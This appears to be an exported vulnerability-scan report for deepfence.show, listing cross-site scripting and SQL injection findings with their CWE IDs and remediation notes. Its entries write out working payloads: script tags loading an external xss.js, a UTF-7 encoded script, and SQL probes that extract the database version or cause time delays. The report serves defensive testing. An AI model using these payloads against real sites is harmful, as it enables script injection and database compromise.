Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #304
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# Redirect 302 /a.jpg http://soapui.org/admin.asp&
deleteuser
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #305
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;
SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #306
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="
text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('
XSS');+ADw-/SCRIPT+AD4-Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #307
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT a=">" SRC="http://soapui.org/xss.js"></SCRIPT
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79Issue Number #308
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT =">" SRC="http://soapui.org/xss.js"></SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #309
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT a=">" '' SRC="http://soapui.org/xss.js"></
SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #310
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT "a='>'" SRC="http://soapui.org/xss.js"></SCRIPT
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #311
Scan Cross Site ScriptingSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT a=`>` SRC="http://soapui.org/xss.js"></SCRIPT
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #312
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT a=">'>" SRC="http://soapui.org/xss.js"></
SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #313
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="
http://soapui.org/xss.js"></SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #314
SQL Injection
SQL Injection Scans work through a list of predefined strings that could be used to execute arbitrary 
SQL code in a database, and inserts those strings into the parameters of the request.
If an unexpected response is received, this is an indication that input validation has failed to remove the potentially malicious SQL strings from the parameters, and that data should be sanitized before it 
is used to construct SQL queries.
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io'-'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #315
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io and (select substring(@@version,2,1))='i'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #316
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 4--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #317
SQL InjectionScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io benchmark(50000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #318
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or ''&'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
